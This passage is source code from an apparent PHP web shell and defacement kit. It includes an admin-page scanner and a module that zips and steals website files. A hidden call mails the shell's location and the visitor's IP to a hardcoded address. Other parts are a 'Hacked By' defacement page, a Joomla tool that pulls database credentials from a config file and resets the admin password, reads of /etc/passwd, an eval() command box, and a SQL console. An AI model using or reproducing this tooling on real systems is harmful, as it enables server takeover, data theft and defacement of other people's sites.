2931paneldecontrol/
2932login/
2933cms/
2934admon/
2935ADMON/
2936administrador/
2937ADMIN/login.php
2938panelc/
2939ADMIN/login.html";
2940function template() {
2941echo '
2942
2943<script type="text/javascript">
2944<!--
2945function insertcode($text, $place, $replace)
2946{
2947 var $this = $text;
2948 var logbox = document.getElementById($place);
2949 if($replace == 0)
2950 document.getElementById($place).innerHTML = logbox.innerHTML+$this;
2951 else
2952 document.getElementById($place).innerHTML = $this;
2953//document.getElementById("helpbox").innerHTML = $this;
2954}
2955-->
2956</script>
2957<br>
2958<br>
2959<h1 class="technique-two">
2960
2961
2962
2963</h1>
2964
2965<div class="wrapper">
2966<div class="red">
2967<div class="tube">
2968<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
2969<form action="" method="post" name="xploit_form">
2970
2971<tr>
2972<tr>
2973 <b><td>URL</td>
2974 <td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
2975 </td>
2976</tr><tr>
2977 <td>404 string</td>
2978 <td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
2979 </td></b>
2980</tr><br><td>
2981<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
2982</span></td></tr>
2983</form></td></tr>
2984<br /></table>
2985</div> <!-- /tube -->
2986</div> <!-- /red -->
2987<br />
2988<div class="green">
2989<div class="tube" id="rightcol">
2990Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
2991<b>Found ones:<br /></b>
2992</div> <!-- /tube -->
2993</div></center><!-- /green -->
2994<br clear="all" /><br />
2995<div class="blue">
2996<div class="tube" id="logbox">
2997<br />
2998<br />
2999Admin page Finder :<br /><br />
3000</div> <!-- /tube -->
3001</div> <!-- /blue -->
3002</div> <!-- /wrapper -->
3003<br clear="all"><br>';
3004}
3005function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
3006 if($br == 1) $msg .= "<br />";
3007 echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
3008 if($stop == 1) exit;
3009 @flush();@ob_flush();
3010}
3011function check($x, $front=0) {
3012 global $_POST,$site,$false;
3013 if($front == 0) $t = $site.$x;
3014 else $t = 'http://'.$x.'.'.$site.'/';
3015 $headers = get_headers($t);
3016 if (!eregi('200', $headers[0])) return 0;
3017 $data = @file_get_contents($t);
3018 if($_POST['xploit_404string'] == "") if($data == $false) return 0;
3019 if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
3020 return 1;
3021}
3022
3023// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
3024template();
3025if(!isset($_POST['xploit_url'])) die;
3026if($_POST['xploit_url'] == '') die;
3027$site = $_POST['xploit_url'];
3028if ($site[strlen($site)-1] != "/") $site .= "/";
3029if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
3030$list['end'] = str_replace("\r", "", $list['end']);
3031$list['front'] = str_replace("\r", "", $list['front']);
3032$pathes = explode("\n", $list['end']);
3033$frontpathes = explode("\n", $list['front']);
3034show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
3035$verificate = 0;
3036foreach($pathes as $path) {
3037 show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
3038 $verificate++; show($verificate, 0, 0, 'verified', 1);
3039 if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
3040 else{
3041 show('<span style="color: #FF0000;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
3042 show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
3043 }
3044}
3045preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
3046if(substr($site, 0, 3) == "www") $site = substr($site, 4);
3047foreach($frontpathes as $frontpath) {
3048 show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
3049 $verificate++; show($verificate, 0, 0, 'verified', 1);
3050 if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
3051 else{
3052 show('<span style="color: #FF0000;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
3053 show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
3054 }
3055
3056}
3057}
3058?>
3059<?php
3060if(isset($_GET['x']) && ($_GET['x'] == 'maling')){ ?>
3061<form action="?y=<?php echo $pwd; ?>&x=maling" method="post">
3062<form method="post" action="" enctype="multipart/form-data">
3063<input type=text name=sites size=40></nobr><br>
3064<input type="submit" name="go" value="Colong!" style="margin: 5px auto; hight: 25px; width: 100px;">
3065</form>
3066<?php
3067$site = explode("\r\n", $_POST['sites']);
3068$go = $_POST['go'];
3069if($go) {
3070foreach($site as $sites) {
3071@session_start();
3072@error_reporting(0);
3073@ini_set('error_log',NULL);
3074@ini_set('log_errors',0);
3075@ini_set('max_execution_time',0);
3076@ini_set('display_errors', 0);
3077@set_time_limit(0);
3078$folder="$sites";
3079$output="hasil-maling.zip";
3080$zip = new ZipArchive();
3081
3082if ($zip->open($output, ZIPARCHIVE::CREATE) !== TRUE) {
3083 die ("Unable to open Archirve");
3084}
3085
3086$all= new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder));
3087
3088foreach ($all as $f=>$value) {
3089 $zip->addFile(realpath($f), $f) or die ("ERROR: Unable to add file: $f");
3090}
3091$zip->close();
3092echo "Selamat Anda Berhasil Mencuri Data Website ";
3093}
3094}
3095}
3096?>
3097<?php
3098@ini_set('output_buffering', 0);
3099@ini_set('display_errors', 0);
3100set_time_limit(0);
3101ini_set('memory_limit', '64M');
3102header('Content-Type: text/html; charset=UTF-8');
3103$tujuanmail = 'kefiex403@gmail.com';
3104$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
3105$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
3106mail($tujuanmail, "Maho", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
3107?>
3108<?php
3109if(isset($_GET['x']) && ($_GET['x'] == 'about'))
3110 {
3111 ?>
3112 <form action="?y=<?php echo $pwd; ?>&x=about" method="post">
3113 <html>
3114<head>
3115
3116<title>-+ Hacked By Para Jones +-</title>
3117<link href='http://fonts.googleapis.com/css?family=Fauna+One' rel='stylesheet' type='text/css'>
3118<link rel='shortcut icon' href='http://hunter.ozha-shop.com/MY.jpg'></link>
3119<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/>
3120<meta name='keywords' content='kefiex404'>
3121<meta HTTP-EQUIV='Content-Type' content='text/html; charset=iso-8859-1'/>
3122<meta name='description' content='kefiex404'>
3123<meta content='hacked' name='description'/>
3124<meta content='go.id,defacer,hacked,hacker,news,idbte4m,never die' name='keywords'/>
3125<meta content='INDEX, FOLLOW' name='ROBOTS'/>
3126<meta content='omahunduh.com' name='author'/>
3127<body bgcolor='#000' marginwidth='0' marginheight='0' style='background: black no-repeat center center fixed; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover; background-size:cover;' onload='(function(a){window.CloudFlare && window.CloudFlare.push(function(b){b(["cloudflare/rocket"],function(c){c.push(function(){(function(){type_text()}).call(a)})})})})(this);' bottommargin='0' rightmargin='0' leftmargin='0' topmargin='0'>
3128<style>body{font-family:'courier new';font-size:80%;color:#28FE14;}.xBody{width:660px;height:450px;position:absolute;z-index:9;}.ssh{display:none;z-index:9;}.sshBox{height:300px;border:4px solid white;-moz-border-radius:4px;-webkit-border-radius:4px;-o-border-radius:4x;-khtml-border-radius:4px;border-radius:4px;z-index:9;}.sshHead{margin-bottom:5px;color:black;font-weight:bold;background-color:white;height:20px;z-index:9;}.greenBox{padding-left:3px;position:absolute;height:22px;border:1px solid #28FE14;z-index:9;}.picz{position:absolute;width:500px;height:80%;display:none;right:2px;top:2px;}#mg img:hover{-webkit-animation:tremer 0.5s linear infinite;-moz-animation:tremer 0.5s linear infinite;-o-animation:tremer 0.5s linear infinite;animation:tremer 0.5s linear infinite;}.neon{<!--coleur lootz--> color:blue;text-shadow:0 0 5px red,0 0 10px red,0 0 30px orange,0 0 45px yellow,0 0 60px red;}.like{border:4px double yellow;box-shadow:0px 2px 20px white;border-radius:10px;padding:9px;height:310px;}#mg img{border:4px double yellow;border-radius:10px;opacity:0.75;-moz-opacity:0.75;filter:alpha(opacity=75);}</style>
3129</head>
3130<body bgcolor='black'>
3131
3132<center>
3133
3134<body onselectstart='return false' ondragstart='return false' oncontextmenu='return false' onLoad='(function(a){window.CloudFlare && window.CloudFlare.push(function(b){b(["cloudflare/rocket"],function(c){c.push(function(){(function(){writetext()}).call(a)})})})})(this);'>
3135<center>
3136<font face='iceland' color='red'>
3137<center>
3138<div id='mg'>
3139<center><a title='KEFIEX404'> <p class='style5'><div align='center'><table width='100%'border='0 '><tr><td align='left'><img src='http://zonehmirrors.org/defaced/2016/11/11/alignlifewauwatosa.com/kefiex.yu.tl/files/bnx.png' height='150' width='250'/ </td><br />
3140<td align='center'> <img src='http://omahunduh.com/omahunduh.com.jpg' alt='Omah Unduh' height='150' width='250'></td><br />
3141<td align='right'><img src='http://kerinci.kemenag.go.id//wp-content//uploads//files//guest//87.php.jpg' height='150' width='250'/ ></td></tr></table></
3142</div></p></center>
3143<br>
3144
3145<td width='90%'><font color='aqua' size='4'>
3146-=| WE NOT ONLY TE4M BUT WE ARE FAMILY |=-<br>
3147<br><td width='90%'><font color='aqua' size='4'>
3148DEFACER TERSAKITI TEAM | HACKER SAKIT HATI | PASUKAN BERANI MATI | BOCAH NEWBIE | MADLEETS <br> IDCA | CIREBON CYBER TEAM | MALANG CYBER ARMY | BALIKITA TEAM | SANJUNGAN JIWA <br> KONTOL MIBER | JEMBUT NGRIWUL | PEJUH MUNCRAT | DADI ANAK
3149<BR><br>
3150<font color='red'>-= WE ARE THE TROUBLE MAKER =- </font><br>
3151<marquee><code><font color='blue' face='consolas' size='4'>
3152<p align='left' class='style2'><font face='Trajan Pro' size='4' color='RED' style='text-shadow: 2px 0px .2em aqua, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='yellow'>
3153~ ./KEFIEX404 ~ MANIAK KASUR ~ MR.K ~ EL-RO ~ ANTONIO HsH ~ TUAN GALAU ~ DEDEMIT ID ~ NO SCRIPT 404 ~ K3C0T ~ SIM0D ~ Anton Kill ~ LITLE H4XORZ ~ ANDRIF PZF ~ Syntax-Error ~ FadliDotID_007 ~ SANEKALA ~ YUDHI DM ~ TUSBOLLED~ ALL INDOXPLOIT CREW ~ SHOR7CUT ~ GRETZ IDBTE4M ~ GOENK TEA ~ ./HDV ~ ADRIAN XDA ~ DIDOT ~ POETRA D`M ~ JACK D`RIPPER ~
3154 DAY IDBTE4M ~ DIMAZ BN ~ DEMONK ~ KHUNAY ~ MR-AQ ~ HENDRA D`N ~ PETAPA GENIT ~ KODRAT ~ MUZZAM ~ MAULANA ~ SIRIN ~ ~ X-Wu7z ~ Tuan_galau ~ GrenXPaRTa ~ x'1n73ct ~ m@db100d ~ Hacker Sakit Hati ~ ./$amndan404 ~ ./wi.na ~ Neneng Juhairiah ~ Mr_Oxygen ~ ./coco ~ H3ri.ID ~ Ice Cream ~ newbie patah hati ~ Naughty_r00tz ~ DarkWireless ~ ./czw_07 ~ ./TanpaNama404 ~ xCut10n ~ Kucing Galau ~ ./anjirGBX ~ Dicky Injector ~ jepry_vuln ~ Shut_Down404 ~ Mr.404_NotFound ~ Mr.LittleHaxor ~ Mr.Ghostteror_404 ~ Mr.Dork ~ Mr.aji.192 ~ L4W_CyberDKSH404.Not_Found ~ ozlok ~ Bloc_Anon/404 ~ R3DD3V1L ~ mr.cookie_302 ~ @HF404_
3155~ S4bun ~ WokTampan ~ Ozi L0calhost ~ isal dot id ~ pys404 ~ tomhawk ~ Localhost ~ Dhammashoka1337 ~ Dreamless ~ Ambara Cyber Army ~ CarLi ~ /AwKarin ~ ./Kandani ~ s4bun ~ ./BlaDDzeRR ~ bL@cKID ~ Mr.Vendetta_404 ~ ./Kandasx1337 ~ ./94nt3n9 ~ SkumFuk-45 ~ LukeWalker ~ R1W1l 3PR1W4R3 ~ AND YOU ~ </font></code></marquee>
3156<br>
3157<strong>-+ IDBTE4M AREA GALAU RAMARIMARI +-</strong>
3158</td>
3159</center>
3160<br> <br></span></div>
3161
3162<iframe width='0%' height='0' src='https://cf-media.sndcdn.com/3wW39mx0grIP.128.mp3?Policy=eyJTdGF0ZW1lbnQiOlt7IlJlc291cmNlIjoiKjovL2NmLW1lZGlhLnNuZGNkbi5jb20vM3dXMzlteDBncklQLjEyOC5tcDMiLCJDb25kaXRpb24iOnsiRGF0ZUxlc3NUaGFuIjp7IkFXUzpFcG9jaFRpbWUiOjE0ODU1MTI5OTR9fX1dfQ__&Signature=kWxSIqms70Xwt0eHS2Fs9AgX2k3vwI-AKuFj2FN0KprNT4yVvumb2s7taYzOkEC0sac00kAZGSrYSfxBe0yo3rQarEts2SlTs2BmiYpSLfpW-ZF4xDT3VoLl9Vb9CriORNk37e-pO~tgGHe6VJZs3hrNGv00IkBeiCNt~U5r~V7YfKTDFRBv8TGrdJ~YtHLV0uLmmDuZ~arzVQqNM0Jm1QZtLzpZ8CFd9CRNms3WjhuVbdRtgS25fC0BgaWk74WvLMVJWmibrNiksPugnqNM~-re-MzM8HFDH9WqDmf3rfLmc1v2vxSP6Dj6LqnqU15oHUPdHnoI-XxJiYOcFJT-JA__&Key-Pair-Id=APKAJAGZ7VMH2PFPW6UQ' frameborder='0'></iframe>
3163
3164<body oncontextmenu='return false;' onkeydown='return false;' onmousedown='return false;'>
3165
3166<script type='text/javascript'>
3167/* <![CDATA[ */
3168var _gaq = _gaq || [];
3169_gaq.push(['_setAccount', 'UA-5341948-14']);
3170_gaq.push(['_trackPageview']);
3171
3172(function() {
3173var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
3174ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
3175var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
3176})();
3177
3178(function(b){(function(a){'__CF'in b&&'DJS'in b.__CF?b.__CF.DJS.push(a):'addEventListener'in b?b.addEventListener('load',a,!1):b.attachEvent('onload',a)})(function(){'FB'in b&&'Event'in FB&&'subscribe'in FB.Event&&(FB.Event.subscribe('edge.create',function(a){_gaq.push(['_trackSocial','facebook','like',a])}),FB.Event.subscribe('edge.remove',function(a){_gaq.push(['_trackSocial','facebook','unlike',a])}),FB.Event.subscribe('message.send',function(a){_gaq.push(['_trackSocial','facebook','send',a])}));'twttr'in b&&'events'in twttr&&'bind'in twttr.events&&twttr.events.bind('tweet',function(a){if(a){var b;if(a.target&&a.target.nodeName=='IFRAME')a:{if(a=a.target.src){a=a.split('#')[0].match(/[^?=&]+=([^&]*)?/g);b=0;for(var c;c=a[b];++b)if(c.indexOf('url')===0){b=unescape(c.split('=')[1]);break a}}b=void 0}_gaq.push(['_trackSocial','twitter','tweet',b])}})})})(window);
3179/* ]]> */
3180</script>
3181<?php
3182}
3183//////////////////////////////////////////////////////////////////////////////
3184
3185?>
3186<?php
3187if (isset($_GET['idb']) && ($_GET['idb'] == 'jomla')) {
3188?>
3189<form action="?&idb=jomla" method="post">
3190<?php
3191error_reporting(0);
3192 if($_POST){
3193
3194 function jipukteks($param, $kata1, $kata2){
3195 if(strpos($param, $kata1) === FALSE) return FALSE;
3196 if(strpos($param, $kata2) === FALSE) return FALSE;
3197 $start = strpos($param, $kata1) + strlen($kata1);
3198 $end = strpos($param, $kata2, $start);
3199 $return = substr($param, $start, $end - $start);
3200 return $return;
3201}
3202
3203 function anucurl($sites){
3204 $ch1 = curl_init ("$sites");
3205curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
3206curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
3207curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
3208curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
3209curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
3210curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
3211curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
3212curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
3213$data = curl_exec ($ch1);
3214return $data;
3215 }
3216
3217function lohgin($fak1,$fak2,$fak3,$fak4,$fak5){
3218 $post2 = array(
3219 "username" => "$fak1",
3220 "passwd" => "$fak2",
3221 "lang" => "en-GB",
3222 "option" => "com_login",
3223 "task" => "login",
3224 "return" => "$fak3",
3225 "$fak4" => "1",
3226
3227 );
3228$ch = curl_init ("$cek");
3229curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
3230curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
3231curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
3232curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
3233curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
3234curl_setopt ($ch, CURLOPT_POST, 1);
3235curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
3236curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
3237curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
3238$data6 = curl_exec ($ch);
3239return $data6;
3240 }
3241
3242 $link = $_POST['link'];
3243 if($link==""){
3244 echo "Report: <br>";
3245 echo "-> Link Config anda belum terisi <-";
3246 }
3247 else{
3248
3249 $file = anucurl($link);
3250
3251 $host = jipukteks($file,"smtphost = '","'");
3252 $username = jipukteks($file,"user = '","'");
3253 $password = jipukteks($file,"password = '","'");
3254 $db = jipukteks($file,"db = '","'");
3255 $dbprefix = jipukteks($file,"dbprefix = '","'");
3256 $user_baru = "admin";
3257 $password_baru = "kefiex";
3258 $prefix = $dbprefix."users";
3259 $pass = md5("$password_baru");
3260 $serah = $db.".".$dbprefix;
3261
3262
3263 echo "<font color='#C6C646'>Database Content :</font><br>";
3264 echo "Db Host          : <font color='green'>$host</font><br>";
3265 echo "Db user           : <font color='green'>$username</font><br>";
3266 echo "Db Password  : <font color='green'>$password</font><br>";
3267 echo "Db name         : <font color='green'>$db</font><br>";
3268 echo "Table_Prefix   : <font color='green'>$dbprefix</font><br>";
3269
3270 mysql_connect($host,$username,$password) or die("<br><font color='red'>Gagal Terkoneksi Ke Database ...</font>");
3271 mysql_select_db($db) or die("<font color='red'>Database tidak bisa dibuka ...</font>");
3272
3273 $show=mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
3274 $r=mysql_fetch_array($show);
3275 $id = $r[id];
3276
3277 mysql_query("UPDATE $prefix SET password='$pass',username='$user_baru' WHERE id='$id'");
3278$utama = "$link";
3279$kedua = @file_get_contents($utama);
3280if(preg_match("askdasldasdlja12123",$kedua)){
3281 echo "# <font color='green'>berhasil rubah password</font><br>";
3282 echo "# $utama<br>";
3283
3284 }
3285 else{
3286 echo "<br># <font color='green'>Pasword berhasil dirubah: </font><br>";
3287 echo "Username: <font color='#C6C646'>$user_baru</font><br>";
3288 echo "Password: <font color='#C6C646'>$password_baru</font><br>";
3289
3290
3291 }
3292 }
3293
3294
3295
3296
3297 }else{
3298 echo '<html>
3299 <body>
3300 <center>
3301 <center><br><span style="font-size:1.6em;"> .: Joomla Password Reset | Tools :. </span><br>Coded by Bl4ckcod37</center><br>
3302 <table>
3303 <tr><td><form method="post"></td></tr>
3304 <tr><td><input class="inputz" size=50 type="text" name="link" placeholder="masukkan link config disini"></td></tr>
3305
3306 <tr><td>                                                 <input
3307class="inputz" type="submit" value="Reset"></td></tr>
3308 </form>
3309 </table>
3310
3311 </center>
3312
3313 </body>
3314</html><br><br><br><br>';
3315 }
3316}
3317 ?>
3318<?php
3319if (isset($_GET['idb']) && ($_GET['idb'] == 'sken')) {
3320set_time_limit(0);
3321
3322($x0b = ini_get('safe_mode') == 0) ? $x0b = 'off': die('<b>Error: Safe Mode is On</b>');
3323
3324@$x0c = fopen('/etc/passwd','r');
3325
3326if (!$x0c) { die('<b> RAIMU ELEK WKWKWKWK :v </b>'); }
3327
3328// $x0d = array();
3329// $x0e = array();
3330// $x0f = array();
3331// $x10 = 0;
3332
3333while(!feof($x0c)){
3334 // baca baris...
3335 // $x11 = fgets($x0c);
3336 // if ($x10 < 35){
3337 while($x11 = fgets($x0c)){
3338
3339 $x12 = strpos($x11,':');
3340
3341 $x13 = substr($x11,0,$x12);
3342
3343
3344 $x14 = '/home/'.$x13.'/public_html';
3345 if (($x13 != '')){
3346
3347 if (is_readable($x14)){
3348
3349 echo "<font face=Verdana size=2 color=#c000ff>Hajar Boss => $x14</font>";
3350 echo "<br/>";
3351 }
3352 }
3353 }
3354 // $x10++;
3355 }
3356}
3357?>
3358 </div></div></div></div></div></div>
3359<?php
3360 if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
3361 <form action="?y=<?php echo $pwd; ?>&x=php" method="post">
3362 <table class="cmdbox"> <tr><td> <textarea class="output" name="cmd" id="cmd"> <?php if(isset($_POST['submitcmd'])) { echo eval(magicboom($_POST['cmd'])); }
3363 else echo "echo file_get_contents('/etc/passwd');"; ?> </textarea>
3364 <tr><td><input style="width:6%;margin:0px;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form> </table> </form>
3365 <?php } elseif(isset($_GET['idb']) && ($_GET['idb'] == 'sql')){
3366 if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){
3367 $sqlhost = $_GET['sqlhost']; $sqluser = $_GET['sqluser']; $sqlpass = $_GET['sqlpass']; $sqlport = $_GET['sqlport'];
3368 if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){ $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
3369 $msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
3370 $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&\">[ databases ]</a>"; if(isset($_GET['db']))
3371 $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
3372 if(isset($_GET['table'])) $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."&table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
3373 $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
3374 $msg .= "</div>"; echo $msg; if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){
3375 $db = $_GET['db']; $query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";
3376 $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
3377 $tables = array(); $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>"; $hasil = @mysql_list_tables($db,$con); while(list($table) = @mysql_fetch_row($hasil)){ @array_push($tables,$table); } @sort($tables);
3378 foreach($tables as $table){ $msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."\">$table</a></td></tr>"; } $msg .= "</table>"; }
3379 elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){ $db = $_GET['db']; $table = $_GET['table']; $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;"; $msgq = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <input type=\"hidden\" name=\"table\" value=\"".$table."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; $columns = array();
3380 $msg = "<table class=\"explore\" style=\"width:99%;\">"; $hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table); while(list($column) = @mysql_fetch_row($hasil)){ $msg .= "<th>$column</th>"; $kolum = $column; } $msg .= "</tr>"; $hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table); list($total) = mysql_fetch_row($hasil); if(isset($_GET['z']))
3381 $page = (int) $_GET['z']; else $page = 1; $pagenum = 100; $totpage = ceil($total / $pagenum); $start = (($page - 1) * $pagenum); $hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum); while($datas = @mysql_fetch_assoc($hasil)){ $msg .= "<tr>"; foreach($datas as $data){
3382 if(trim($data) == "") $data = " "; $msg .= "<td>$data</td>"; } $msg .= "</tr>"; } $msg .= "</table>"; $head = "<div style=\"padding:10px 0 0 6px;\"> <form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <input type=\"hidden\" name=\"table\" value=\"".$table."\" /> Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
3383 for($i = 1;$i <= $totpage;$i++){ $head .= "<option value=\"".$i."\">".$i."</option>"; if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>"; } $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>"; $msg = $msgq.$head.$msg; } elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){ $db = $_GET['db']; $query = magicboom($_GET['sqlquery']); $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; @mysql_select_db($db); $querys = explode(";",$query); foreach($querys as $query){
3384 if(trim($query) != ""){ $hasil = mysql_query($query); if($hasil){ $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>"; $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>"; for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>"; $msg .= "</tr>"; for($i=0;$i<@mysql_num_rows($hasil);$i++) { $rows=@mysql_fetch_array($hasil); $msg .= "<tr>"; for($j=0;$j<@mysql_num_fields($hasil);$j++) {
